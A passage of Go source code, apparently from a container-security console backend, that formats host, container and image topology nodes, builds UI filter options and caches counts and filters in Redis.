{\n\t\t\t\tdfTopology.IsUiVm = true\n\t\t\t}\n\t\tcase \"user_defined_tags\":\n\t\t\tif metadata.Value != \"\" {\n\t\t\t\tdfTopology.UserDefinedTags = append(dfTopology.UserDefinedTags, strings.Split(metadata.Value, \",\")...)\n\t\t\t}\n\t\tcase \"cloud_tags\":\n\t\t\tif metadata.Value != \"\" {\n\t\t\t\tdfTopology.UserDefinedTags = append(dfTopology.UserDefinedTags, strings.Split(metadata.Value, \",\")...)\n\t\t\t}\n\t\tcase \"version\":\n\t\t\tdfTopology.AgentVersion = metadata.Value\n\t\tcase \"agent_running\":\n\t\t\tdfTopology.AgentRunning = metadata.Value\n\t\t\tif dfTopology.AgentRunning == \"no\" {\n\t\t\t\tdfTopology.Pseudo = true\n\t\t\t}\n\t\t}\n\t}\n\tdfTopology.Metrics = scopeTopology.Metrics\n\tdfTopology.Parents = wsCli.formatParentNodes(scopeTopology.Parents)\n\tdfTopology.Adjacency = wsCli.formatAdjacency(scopeTopology.Adjacency)\n\treturn dfTopology, probeId, localNetworks\n}\n\nfunc (wsCli *WebsocketClient) formatTopologyHostData() {\n\tnoOfHosts := 0\n\tnoOfUnprotectedHosts := 0\n\thostNameProbeIdMap := map[string]string{}\n\tcountOfHostsByUser := make(map[string]int)\n\tlocalNetworksAllHosts := make([]string, 0)\n\ttopologyFilters := []TopologyFilterOption{\n\t\t{Name: \"agent_running\", Label: \"Agent Running\", Type: filterTypeStr, Options: []string{\"yes\", \"no\"}, NumberOptions: nil},\n\t\t{Name: \"is_ui_vm\", Label: \"Console VM\", Type: filterTypeBool, Options: []string{}, NumberOptions: nil},\n\t\t{Name: \"pseudo\", Label: \"Pseudo\", Type: filterTypeBool, Options: []string{}, NumberOptions: nil},\n\t\t{Name: \"vulnerability_scan_status\", Label: \"Vulnerability Scan Status\", Type: filterTypeStr, Options: []string{\"queued\", \"in_progress\", \"complete\", \"error\", \"never_scanned\"}, NumberOptions: nil},\n\t}\n\tvar nodeIdVulnerabilityStatusMap, nodeIdVulnerabilityStatusTimeMap map[string]string\n\twsCli.nodeStatus.RLock()\n\tnodeIdVulnerabilityStatusMap = wsCli.nodeStatus.VulnerabilityScanStatus\n\tnodeIdVulnerabilityStatusTimeMap = wsCli.nodeStatus.VulnerabilityScanStatusTime\n\twsCli.nodeStatus.RUnlock()\n\tvar filtersHostName, filtersKernelVersion, filtersOs, filtersCloudProvider, filtersInstanceType []string\n\tvar filtersAvailabilityZone, filtersDataCenter, filtersZone, filtersLocation, filtersSKU []string\n\tvar filtersResourceGroupName, filtersKubernetesClusterId, filtersKubernetesClusterName, filtersUserDefinedTags, filtersAgentVersion []string\n\tfor _, scopeTopology := range wsCli.topologyScope {\n\t\tdfTopology, probeId, localNetworks := wsCli.formatHostNodeDetail(scopeTopology)\n\t\tlocalNetworksAllHosts = append(localNetworksAllHosts, localNetworks...)\n\t\thostNameProbeIdMap[dfTopology.HostName] = probeId\n\t\tdfTopology.VulnerabilityScanStatus = nodeIdVulnerabilityStatusMap[dfTopology.HostName]\n\t\tif dfTopology.VulnerabilityScanStatus == \"\" {\n\t\t\tdfTopology.VulnerabilityScanStatus = scanStatusNeverScanned\n\t\t}\n\t\tdfTopology.VulnerabilityScanStatusTime = nodeIdVulnerabilityStatusTimeMap[dfTopology.HostName]\n\t\tif dfTopology.AgentRunning == \"no\" {\n\t\t\tnoOfUnprotectedHosts += 1\n\t\t}\n\t\tif dfTopology.Pseudo == false && dfTopology.IsUiVm == false {\n\t\t\tnoOfHosts += 1\n\t\t\tif dfTopology.AuthToken != \"\" {\n\t\t\t\tcountOfHostsByUser[dfTopology.AuthToken] += 1\n\t\t\t}\n\t\t\tfiltersHostName = append(filtersHostName, dfTopology.HostName)\n\t\t\tif dfTopology.KernelVersion != \"\" && !InArray(dfTopology.KernelVersion, filtersKernelVersion) {\n\t\t\t\tfiltersKernelVersion = append(filtersKernelVersion, dfTopology.KernelVersion)\n\t\t\t}\n\t\t\tif dfTopology.Os != \"\" && !InArray(dfTopology.Os, filtersOs) {\n\t\t\t\tfiltersOs = append(filtersOs, dfTopology.Os)\n\t\t\t}\n\t\t\tif dfTopology.CloudProvider != \"\" && !InArray(dfTopology.CloudProvider, filtersCloudProvider) {\n\t\t\t\tfiltersCloudProvider = append(filtersCloudProvider, dfTopology.CloudProvider)\n\t\t\t}\n\t\t\tif dfTopology.CloudMetadata.InstanceType != \"\" && !InArray(dfTopology.CloudMetadata.InstanceType, filtersInstanceType) {\n\t\t\t\tfiltersInstanceType = append(filtersInstanceType, dfTopology.CloudMetadata.InstanceType)\n\t\t\t}\n\t\t\tif dfTopology.CloudMetadata.AvailabilityZone != \"\" && !InArray(dfTopology.CloudMetadata.AvailabilityZone, filtersAvailabilityZone) {\n\t\t\t\tfiltersAvailabilityZone = append(filtersAvailabilityZone, dfTopology.CloudMetadata.AvailabilityZone)\n\t\t\t}\n\t\t\tif dfTopology.CloudMetadata.DataCenter != \"\" && !InArray(dfTopology.CloudMetadata.DataCenter, filtersDataCenter) {\n\t\t\t\tfiltersDataCenter = append(filtersDataCenter, dfTopology.CloudMetadata.DataCenter)\n\t\t\t}\n\t\t\tif dfTopology.CloudMetadata.Zone != \"\" && !InArray(dfTopology.CloudMetadata.Zone, filtersZone) {\n\t\t\t\tfiltersZone = append(filtersZone, dfTopology.CloudMetadata.Zone)\n\t\t\t}\n\t\t\tif dfTopology.CloudMetadata.Location != \"\" && !InArray(dfTopology.CloudMetadata.Location, filtersLocation) {\n\t\t\t\tfiltersLocation = append(filtersLocation, dfTopology.CloudMetadata.Location)\n\t\t\t}\n\t\t\tif dfTopology.CloudMetadata.SKU != \"\" && !InArray(dfTopology.CloudMetadata.SKU, filtersSKU) {\n\t\t\t\tfiltersSKU = append(filtersSKU, dfTopology.CloudMetadata.SKU)\n\t\t\t}\n\t\t\tif dfTopology.CloudMetadata.ResourceGroupName != \"\" && !InArray(dfTopology.CloudMetadata.ResourceGroupName, filtersResourceGroupName) {\n\t\t\t\tfiltersResourceGroupName = append(filtersResourceGroupName, dfTopology.CloudMetadata.ResourceGroupName)\n\t\t\t}\n\t\t\tif dfTopology.KubernetesClusterId != \"\" && !InArray(dfTopology.KubernetesClusterId, filtersKubernetesClusterId) {\n\t\t\t\tfiltersKubernetesClusterId = append(filtersKubernetesClusterId, dfTopology.KubernetesClusterId)\n\t\t\t}\n\t\t\tif dfTopology.KubernetesClusterName != \"\" && !InArray(dfTopology.KubernetesClusterName, filtersKubernetesClusterName) {\n\t\t\t\tfiltersKubernetesClusterName = append(filtersKubernetesClusterName, dfTopology.KubernetesClusterName)\n\t\t\t}\n\t\t\tif len(dfTopology.UserDefinedTags) > 0 {\n\t\t\t\tfor _, tag := range dfTopology.UserDefinedTags {\n\t\t\t\t\tif !InArray(tag, filtersUserDefinedTags) {\n\t\t\t\t\t\tfiltersUserDefinedTags = append(filtersUserDefinedTags, tag)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif dfTopology.AgentVersion != \"\" && !InArray(dfTopology.AgentVersion, filtersAgentVersion) {\n\t\t\t\tfiltersAgentVersion = append(filtersAgentVersion, dfTopology.AgentVersion)\n\t\t\t}\n\t\t}\n\t\twsCli.topologyDf[dfTopology.ID] = dfTopology\n\t\twsCli.dfIdToScopeIdMap[dfTopology.ID] = scopeTopology.ID\n\t}\n\tredisConn := wsCli.redisPool.Get()\n\tdefer redisConn.Close()\n\tlocalNetworksAllHosts = uniqueSlice(localNetworksAllHosts)\n\tlocalNetworksAllHostsJson, _ := JsonEncode(localNetworksAllHosts)\n\t_, err := redisConn.Do(\"SETEX\", topologyLocalNetworksRedisKey, RedisExpiryTime, string(localNetworksAllHostsJson))\n\tif err != nil {\n\t\tlog.Println(\"Error: SETEX \"+topologyLocalNetworksRedisKey, err)\n\t}\n\thostNameProbeIdMapJson, _ := JsonEncode(hostNameProbeIdMap)\n\t_, err = redisConn.Do(\"SETEX\", topologyHostsProbeMapRedisKey, RedisExpiryTime, string(hostNameProbeIdMapJson))\n\tif err != nil {\n\t\tlog.Println(\"Error: SETEX \"+topologyHostsProbeMapRedisKey, err)\n\t}\n\tcountOfHostsByUserJson, _ := JsonEncode(countOfHostsByUser)\n\t_, err = redisConn.Do(\"SETEX\", countOfHostsByUserKey, RedisExpiryTime, string(countOfHostsByUserJson))\n\tif err != nil {\n\t\tlog.Println(\"Error: SETEX \"+countOfHostsByUserKey, err)\n\t}\n\t_, err = redisConn.Do(\"SETEX\", noOfHostsRedisKey, RedisExpiryTime, noOfHosts)\n\tif err != nil {\n\t\tlog.Println(\"Error: SETEX \"+noOfHostsRedisKey, err)\n\t}\n\t_, err = redisConn.Do(\"HSET\", ScopeTopologyCount, wsCli.nodeType, noOfHosts, wsCli.nodeType+\"_unprotected\", noOfUnprotectedHosts, \"cloud_provider\", len(filtersCloudProvider))\n\tif err != nil {\n\t\tlog.Println(\"Error: HSET \"+ScopeTopologyCount, err)\n\t}\n\tif len(filtersHostName) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"host_name\", Label: \"Hostname\", Type: filterTypeStr, Options: filtersHostName, NumberOptions: nil})\n\t}\n\tif len(filtersKernelVersion) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"kernel_version\", Label: \"Kernel Version\", Type: filterTypeStr, Options: filtersKernelVersion, NumberOptions: nil})\n\t}\n\tif len(filtersOs) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"os\", Label: \"Os\", Type: filterTypeStr, Options: filtersOs, NumberOptions: nil})\n\t}\n\tif len(filtersCloudProvider) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"cloud_provider\", Label: \"Cloud Provider\", Type: filterTypeStr, Options: filtersCloudProvider, NumberOptions: nil})\n\t}\n\tif len(filtersInstanceType) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"cloud_metadata.instance_type\", Label: \"Instance Type\", Type: filterTypeStr, Options: filtersInstanceType, NumberOptions: nil})\n\t}\n\tif len(filtersAvailabilityZone) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"cloud_metadata.availability_zone\", Label: \"Availability Zone\", Type: filterTypeStr, Options: filtersAvailabilityZone, NumberOptions: nil})\n\t}\n\tif len(filtersDataCenter) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"cloud_metadata.data_center\", Label: \"Data Center\", Type: filterTypeStr, Options: filtersDataCenter, NumberOptions: nil})\n\t}\n\tif len(filtersZone) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"cloud_metadata.zone\", Label: \"Zone\", Type: filterTypeStr, Options: filtersZone, NumberOptions: nil})\n\t}\n\tif len(filtersLocation) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"cloud_metadata.location\", Label: \"Location\", Type: filterTypeStr, Options: filtersLocation, NumberOptions: nil})\n\t}\n\tif len(filtersSKU) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"cloud_metadata.sku\", Label: \"SKU\", Type: filterTypeStr, Options: filtersSKU, NumberOptions: nil})\n\t}\n\tif len(filtersResourceGroupName) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"cloud_metadata.resource_group_name\", Label: \"Resource Group Name\", Type: filterTypeStr, Options: filtersResourceGroupName, NumberOptions: nil})\n\t}\n\tif len(filtersKubernetesClusterId) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"kubernetes_cluster_id\", Label: \"Kubernetes Cluster Id\", Type: filterTypeStr, Options: filtersKubernetesClusterId, NumberOptions: nil})\n\t}\n\tif len(filtersKubernetesClusterName) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"kubernetes_cluster_name\", Label: \"Kubernetes Cluster Name\", Type: filterTypeStr, Options: filtersKubernetesClusterName, NumberOptions: nil})\n\t}\n\tif len(filtersUserDefinedTags) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"user_defined_tags\", Label: \"User Defined Tags\", Type: filterTypeStr, Options: filtersUserDefinedTags, NumberOptions: nil})\n\t}\n\tif len(filtersAgentVersion) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"version\", Label: \"Agent Version\", Type: filterTypeStr, Options: filtersAgentVersion, NumberOptions: nil})\n\t}\n\ttopologyFiltersJson, _ := JsonEncode(topologyFilters)\n\t_, err = redisConn.Do(\"SETEX\", wsCli.filterRedisKey, RedisExpiryTime, string(topologyFiltersJson))\n\tif err != nil {\n\t\tlog.Println(\"Error: SETEX \"+wsCli.filterRedisKey, err)\n\t}\n}\n\nfunc (wsCli *WebsocketClient) formatContainerNodeDetail(scopeTopology ScopeTopology) DeepfenceTopology {\n\tvar dfTopology = DeepfenceTopology{ContainerName: scopeTopology.Label, Name: scopeTopology.Label, ID: wsCli.getDfIdFromScopeId(scopeTopology.ID),\n\t\tPseudo: scopeTopology.Pseudo, Type: wsCli.nodeType, HostName: scopeTopology.LabelMinor, Meta: scopeTopology.LabelMinor, ScopeId: scopeTopology.ID, UserDefinedTags: make([]string, 0)}\n\n\tfor _, metadata := range scopeTopology.Metadata {\n\t\tswitch metadata.ID {\n\t\tcase \"docker_image_name\":\n\t\t\tdfTopology.ImageName = metadata.Value\n\t\tcase \"docker_image_tag\":\n\t\t\tdfTopology.ImageTag = metadata.Value\n\t\tcase \"docker_container_command\":\n\t\t\tdfTopology.DockerContainerCommand = metadata.Value\n\t\tcase \"docker_container_state_human\":\n\t\t\tstatusStopped := []string{dockerStateExited, dockerStateRestarting, dockerStateDead, dockerStateRemoving, dockerStateCreated, dockerStateDeleted}\n\t\t\tstatusPaused := []string{dockerStatePaused}\n\t\t\tstatusRunning := []string{dockerStateUp, dockerStateRunning}\n\t\t\tcState := strings.ToLower(metadata.Value)\n\t\t\tfor _, state := range statusStopped {\n\t\t\t\tif strings.Contains(cState, state) {\n\t\t\t\t\tdfTopology.DockerContainerState = dockerStateStopped\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif dfTopology.DockerContainerState == \"\" {\n\t\t\t\tfor _, state := range statusPaused {\n\t\t\t\t\tif strings.Contains(cState, state) {\n\t\t\t\t\t\tdfTopology.DockerContainerState = dockerStatePaused\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif dfTopology.DockerContainerState == \"\" {\n\t\t\t\tfor _, state := range statusRunning {\n\t\t\t\t\tif strings.Contains(cState, state) {\n\t\t\t\t\t\tdfTopology.DockerContainerState = dockerStateRunning\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\tcase \"docker_container_uptime\":\n\t\t\tdfTopology.DockerContainerUptime, _ = strconv.Atoi(metadata.Value)\n\t\tcase \"docker_container_networks\":\n\t\t\tdfTopology.DockerContainerNetworks = metadata.Value\n\t\tcase \"docker_container_ips\":\n\t\t\tvar containerIps []string\n\t\t\tfor _, ip := range strings.Split(metadata.Value, \",\") {\n\t\t\t\tcontainerIps = append(containerIps, strings.TrimSpace(ip))\n\t\t\t}\n\t\t\tdfTopology.DockerContainerIps = containerIps\n\t\tcase \"docker_container_ports\":\n\t\t\tdfTopology.DockerContainerPorts = metadata.Value\n\t\tcase \"docker_container_created\":\n\t\t\tdfTopology.DockerContainerCreated = metadata.Value\n\t\tcase \"docker_container_id\":\n\t\t\tdfTopology.DockerContainerID = metadata.Value\n\t\tcase \"is_ui_vm\":\n\t\t\tif metadata.Value == \"true\" {\n\t\t\t\tdfTopology.IsUiVm = true\n\t\t\t}\n\t\tcase \"docker_image_id\":\n\t\t\tdfTopology.DockerImageID = metadata.Value\n\t\tcase \"user_defined_tags\":\n\t\t\tif metadata.Value != \"\" {\n\t\t\t\tdfTopology.UserDefinedTags = strings.Split(metadata.Value, \",\")\n\t\t\t}\n\t\tcase \"kubernetes_cluster_id\":\n\t\t\tdfTopology.KubernetesClusterId = metadata.Value\n\t\tcase \"kubernetes_cluster_name\":\n\t\t\tdfTopology.KubernetesClusterName = metadata.Value\n\t\t}\n\t}\n\tdfTopology.Metrics = scopeTopology.Metrics\n\tif dfTopology.ImageName != \"\" && dfTopology.ImageTag != \"\" {\n\t\tdfTopology.ImageNameWithTag = fmt.Sprintf(\"%s:%s\", dfTopology.ImageName, dfTopology.ImageTag)\n\t}\n\tdfTopology.Parents = wsCli.formatParentNodes(scopeTopology.Parents)\n\tdfTopology.Adjacency = wsCli.formatAdjacency(scopeTopology.Adjacency)\n\treturn dfTopology\n}\n\nfunc (wsCli *WebsocketClient) formatTopologyContainerData() {\n\tnoOfContainers := 0\n\ttopologyFilters := []TopologyFilterOption{\n\t\t{Name: \"is_ui_vm\", Label: \"Console VM\", Type: filterTypeBool, Options: []string{}, NumberOptions: nil},\n\t\t{Name: \"pseudo\", Label: \"Pseudo\", Type: filterTypeBool, Options: []string{}, NumberOptions: nil},\n\t\t{Name: \"docker_container_state\", Label: \"Container State\", Type: filterTypeStr, Options: []string{dockerStateStopped, dockerStatePaused, dockerStateRunning}, NumberOptions: nil},\n\t\t{Name: \"vulnerability_scan_status\", Label: \"Vulnerability Scan Status\", Type: filterTypeStr, Options: []string{\"queued\", \"in_progress\", \"complete\", \"error\", \"never_scanned\"}, NumberOptions: nil},\n\t}\n\tvar nodeIdVulnerabilityStatusMap, nodeIdVulnerabilityStatusTimeMap map[string]string\n\twsCli.nodeStatus.RLock()\n\tnodeIdVulnerabilityStatusMap = wsCli.nodeStatus.VulnerabilityScanStatus\n\tnodeIdVulnerabilityStatusTimeMap = wsCli.nodeStatus.VulnerabilityScanStatusTime\n\twsCli.nodeStatus.RUnlock()\n\tvar filtersHostName, filtersUserDefinedTags, filtersImageName, filtersImageTag, filtersImageNameWithTag, filtersContainerName, filtersKubernetesClusterId, filtersKubernetesClusterName []string\n\tfor _, scopeTopology := range wsCli.topologyScope {\n\t\tdfTopology := wsCli.formatContainerNodeDetail(scopeTopology)\n\t\tdfTopology.VulnerabilityScanStatus = nodeIdVulnerabilityStatusMap[dfTopology.ImageNameWithTag]\n\t\tif dfTopology.VulnerabilityScanStatus == \"\" {\n\t\t\tdfTopology.VulnerabilityScanStatus = scanStatusNeverScanned\n\t\t}\n\t\tdfTopology.VulnerabilityScanStatusTime = nodeIdVulnerabilityStatusTimeMap[dfTopology.ImageNameWithTag]\n\t\tif dfTopology.Pseudo == false && dfTopology.IsUiVm == false {\n\t\t\tcnameSplit := strings.Split(dfTopology.ContainerName, \"/\")\n\t\t\tif len(cnameSplit) > 1 {\n\t\t\t\tif cnameSplit[0] != kubeSystemNamespace && cnameSplit[0] != KubePublicNamespace {\n\t\t\t\t\tnoOfContainers += 1\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tnoOfContainers += 1\n\t\t\t}\n\t\t\tif dfTopology.Name != \"\" && !InArray(dfTopology.Name, filtersContainerName) {\n\t\t\t\tfiltersContainerName = append(filtersContainerName, dfTopology.ContainerName)\n\t\t\t}\n\t\t\tif dfTopology.HostName != \"\" && !InArray(dfTopology.HostName, filtersHostName) {\n\t\t\t\tfiltersHostName = append(filtersHostName, dfTopology.HostName)\n\t\t\t}\n\t\t\tif dfTopology.ImageName != \"\" && !InArray(dfTopology.ImageName, filtersImageName) {\n\t\t\t\tfiltersImageName = append(filtersImageName, dfTopology.ImageName)\n\t\t\t}\n\t\t\tif dfTopology.ImageTag != \"\" && !InArray(dfTopology.ImageTag, filtersImageTag) {\n\t\t\t\tfiltersImageTag = append(filtersImageTag, dfTopology.ImageTag)\n\t\t\t}\n\t\t\tif dfTopology.ImageNameWithTag != \"\" && !InArray(dfTopology.ImageNameWithTag, filtersImageNameWithTag) {\n\t\t\t\tfiltersImageNameWithTag = append(filtersImageNameWithTag, dfTopology.ImageNameWithTag)\n\t\t\t}\n\t\t\tif len(dfTopology.UserDefinedTags) > 0 {\n\t\t\t\tfor _, tag := range dfTopology.UserDefinedTags {\n\t\t\t\t\tif !InArray(tag, filtersUserDefinedTags) {\n\t\t\t\t\t\tfiltersUserDefinedTags = append(filtersUserDefinedTags, tag)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif dfTopology.KubernetesClusterId != \"\" && !InArray(dfTopology.KubernetesClusterId, filtersKubernetesClusterId) {\n\t\t\t\tfiltersKubernetesClusterId = append(filtersKubernetesClusterId, dfTopology.KubernetesClusterId)\n\t\t\t}\n\t\t\tif dfTopology.KubernetesClusterName != \"\" && !InArray(dfTopology.KubernetesClusterName, filtersKubernetesClusterName) {\n\t\t\t\tfiltersKubernetesClusterName = append(filtersKubernetesClusterName, dfTopology.KubernetesClusterName)\n\t\t\t}\n\t\t}\n\t\twsCli.topologyDf[dfTopology.ID] = dfTopology\n\t\twsCli.dfIdToScopeIdMap[dfTopology.ID] = scopeTopology.ID\n\t}\n\tredisConn := wsCli.redisPool.Get()\n\tdefer redisConn.Close()\n\t_, err := redisConn.Do(\"HSET\", ScopeTopologyCount, wsCli.nodeType, noOfContainers)\n\tif err != nil {\n\t\tlog.Println(\"Error: HSET \"+ScopeTopologyCount, err)\n\t}\n\tif len(filtersContainerName) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"container_name\", Label: \"Container Name\", Type: filterTypeStr, Options: filtersContainerName, NumberOptions: nil})\n\t}\n\tif len(filtersHostName) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"host_name\", Label: \"Hostname\", Type: filterTypeStr, Options: filtersHostName, NumberOptions: nil})\n\t}\n\tif len(filtersImageName) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"image_name\", Label: \"Image Name\", Type: filterTypeStr, Options: filtersImageName, NumberOptions: nil})\n\t}\n\tif len(filtersImageTag) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"image_tag\", Label: \"Image Tag\", Type: filterTypeStr, Options: filtersImageTag, NumberOptions: nil})\n\t}\n\tif len(filtersImageNameWithTag) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"image_name_with_tag\", Label: \"Image Name and Tag\", Type: filterTypeStr, Options: filtersImageNameWithTag, NumberOptions: nil})\n\t}\n\tif len(filtersUserDefinedTags) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"user_defined_tags\", Label: \"User Defined Tags\", Type: filterTypeStr, Options: filtersUserDefinedTags, NumberOptions: nil})\n\t}\n\tif len(filtersKubernetesClusterId) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"kubernetes_cluster_id\", Label: \"Kubernetes Cluster Id\", Type: filterTypeStr, Options: filtersKubernetesClusterId, NumberOptions: nil})\n\t}\n\tif len(filtersKubernetesClusterName) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"kubernetes_cluster_name\", Label: \"Kubernetes Cluster Name\", Type: filterTypeStr, Options: filtersKubernetesClusterName, NumberOptions: nil})\n\t}\n\ttopologyFiltersJson, _ := JsonEncode(topologyFilters)\n\t_, err = redisConn.Do(\"SETEX\", wsCli.filterRedisKey, RedisExpiryTime, string(topologyFiltersJson))\n\tif err != nil {\n\t\tlog.Println(\"Error: SETEX \"+wsCli.filterRedisKey, err)\n\t}\n}\n\nfunc (wsCli *WebsocketClient) formatContainerImageNodeDetail(scopeTopology ScopeTopology) DeepfenceTopology {\n\tvar dfTopology = DeepfenceTopology{ID: wsCli.getDfIdFromScopeId(scopeTopology.ID), Name: scopeTopology.Label,\n\t\tPseudo: scopeTopology.Pseudo, Type: wsCli.nodeType, Meta: scopeTopology.LabelMinor, ScopeId: scopeTopology.ID, UserDefinedTags: make([]string, 0)}\n\tfor _, parent := range scopeTopology.Parents {\n\t\tif parent.TopologyID == TopologyIdHost {\n\t\t\tdfTopology.HostName = parent.Label\n\t\t\tbreak\n\t\t}\n\t}\n\tfor _, metadata := range scopeTopology.Metadata {\n\t\tswitch metadata.ID {\n\t\tcase \"container\":\n\t\t\tdfTopology.ContainerCount, _ = strconv.Atoi(metadata.Value)\n\t\tcase \"docker_image_name\":\n\t\t\tdfTopology.ImageName = metadata.Value\n\t\tcase \"docker_image_tag\":\n\t\t\tdfTopology.ImageTag = metadata.Value\n\t\tcase \"docker_image_size\":\n\t\t\tdfTopology.DockerImageSize = metadata.Value\n\t\tcase \"docker_image_virtual_size\":\n\t\t\tdfTopology.DockerImageVirtualSize = metadata.Value\n\t\tcase \"docker_image_created_at\":\n\t\t\tdfTopology.DockerImageCreatedAt = metadata.Value\n\t\tcase \"docker_image_id\":\n\t\t\tdfTopology.DockerImageID = metadata.Value\n\t\tcase \"user_defined_tags\":\n\t\t\tif metadata.Value != \"\" {\n\t\t\t\tdfTopology.UserDefinedTags = strings.Split(metadata.Value, \",\")\n\t\t\t}\n\t\t}\n\t}\n\tif dfTopology.ImageName != \"\" && dfTopology.ImageTag != \"\" {\n\t\tdfTopology.ImageNameWithTag = fmt.Sprintf(\"%s:%s\", dfTopology.ImageName, dfTopology.ImageTag)\n\t}\n\tdfTopology.Parents = wsCli.formatParentNodes(scopeTopology.Parents)\n\tdfTopology.Adjacency = wsCli.formatAdjacency(scopeTopology.Adjacency)\n\treturn dfTopology\n}\n\nfunc (wsCli *WebsocketClient) formatTopologyContainerImageData() {\n\tnoOfImages := 0\n\ttopologyFilters := []TopologyFilterOption{\n\t\t{Name: \"pseudo\", Label: \"Pseudo\", Type: filterTypeBool, Options: []string{}, NumberOptions: nil},\n\t\t{Name: \"vulnerability_scan_status\", Label: \"Vulnerability Scan Status\", Type: filterTypeStr, Options: []string{\"queued\", \"in_progress\", \"complete\", \"error\", \"never_scanned\"}, NumberOptions: nil},\n\t}\n\tvar nodeIdVulnerabilityStatusMap, nodeIdVulnerabilityStatusTimeMap map[string]string\n\twsCli.nodeStatus.RLock()\n\tnodeIdVulnerabilityStatusMap = wsCli.nodeStatus.VulnerabilityScanStatus\n\tnodeIdVulnerabilityStatusTimeMap = wsCli.nodeStatus.VulnerabilityScanStatusTime\n\twsCli.nodeStatus.RUnlock()\n\tvar filtersUserDefinedTags, filtersImageName, filtersImageTag, filtersImageNameWithTag []string\n\tfor _, scopeTopology := range wsCli.topologyScope {\n\t\tdfTopology := wsCli.formatContainerImageNodeDetail(scopeTopology)\n\t\tdfTopology.VulnerabilityScanStatus = nodeIdVulnerabilityStatusMap[dfTopology.ImageNameWithTag]\n\t\tif dfTopology.VulnerabilityScanStatus == \"\" {\n\t\t\tdfTopology.VulnerabilityScanStatus = scanStatusNeverScanned\n\t\t}\n\t\tdfTopology.VulnerabilityScanStatusTime = nodeIdVulnerabilityStatusTimeMap[dfTopology.ImageNameWithTag]\n\t\tif dfTopology.Pseudo == false {\n\t\t\tnoOfImages += 1\n\t\t\tif dfTopology.ImageName != \"\" && !InArray(dfTopology.ImageName, filtersImageName) {\n\t\t\t\tfiltersImageName = append(filtersImageName, dfTopology.ImageName)\n\t\t\t}\n\t\t\tif dfTopology.ImageTag != \"\" && !InArray(dfTopology.ImageTag, filtersImageTag) {\n\t\t\t\tfiltersImageTag = append(filtersImageTag, dfTopology.ImageTag)\n\t\t\t}\n\t\t\tif dfTopology.ImageNameWithTag != \"\" && !InArray(dfTopology.ImageNameWithTag, filtersImageNameWithTag) {\n\t\t\t\tfiltersImageNameWithTag = append(filtersImageNameWithTag, dfTopology.ImageNameWithTag)\n\t\t\t}\n\t\t\tif len(dfTopology.UserDefinedTags) > 0 {\n\t\t\t\tfor _, tag := range dfTopology.UserDefinedTags {\n\t\t\t\t\tif !InArray(tag, filtersUserDefinedTags) {\n\t\t\t\t\t\tfiltersUserDefinedTags = append(filtersUserDefinedTags, tag)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\twsCli.topologyDf[dfTopology.ID] = dfTopology\n\t\twsCli.dfIdToScopeIdMap[dfTopology.ID] = scopeTopology.ID\n\t}\n\tredisConn := wsCli.redisPool.Get()\n\tdefer redisConn.Close()\n\t_, err := redisConn.Do(\"HSET\", ScopeTopologyCount, wsCli.nodeType, noOfImages)\n\tif err != nil {\n\t\tlog.Println(\"Error: HSET \"+ScopeTopologyCount, err)\n\t}\n\tif len(filtersImageName) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"image_name\", Label: \"Image Name\", Type: filterTypeStr, Options: filtersImageName, NumberOptions: nil})\n\t}\n\tif len(filtersImageTag) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"image_tag\", Label: \"Image Tag\", Type: filterTypeStr, Options: filtersImageTag, NumberOptions: nil})\n\t}\n\tif len(filtersImageNameWithTag) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"image_name_with_tag\", Label: \"Image\", Type: filterTypeStr, Options: filtersImageNameWithTag, NumberOptions: nil})\n\t}\n\tif len(filtersUserDefinedTags) > 0 {\n\t\ttopologyFilters = append(topologyFilters, TopologyFilterOption{Name: \"user_defined_tags\", Label: \"User Defined Tags\", Type: filterTypeStr, Options: filtersUserDefinedTags, NumberOptions: nil})\n\t}\n\ttopologyFiltersJson, _ := JsonEncode(topologyFilters)\n\t_, err = redisConn.Do(\"SETEX\", wsCli.filterRedisKey, RedisExpiryTime, string(topologyFiltersJson))\n\tif err != nil {\n\t\tlog.Println(\"Error: 